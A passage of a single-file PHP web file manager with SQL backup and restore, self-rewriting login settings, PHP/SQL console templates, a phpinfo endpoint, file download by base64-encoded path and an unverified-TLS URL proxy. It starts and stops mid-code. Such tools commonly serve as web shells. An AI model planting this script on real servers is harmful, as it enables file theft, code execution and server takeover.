		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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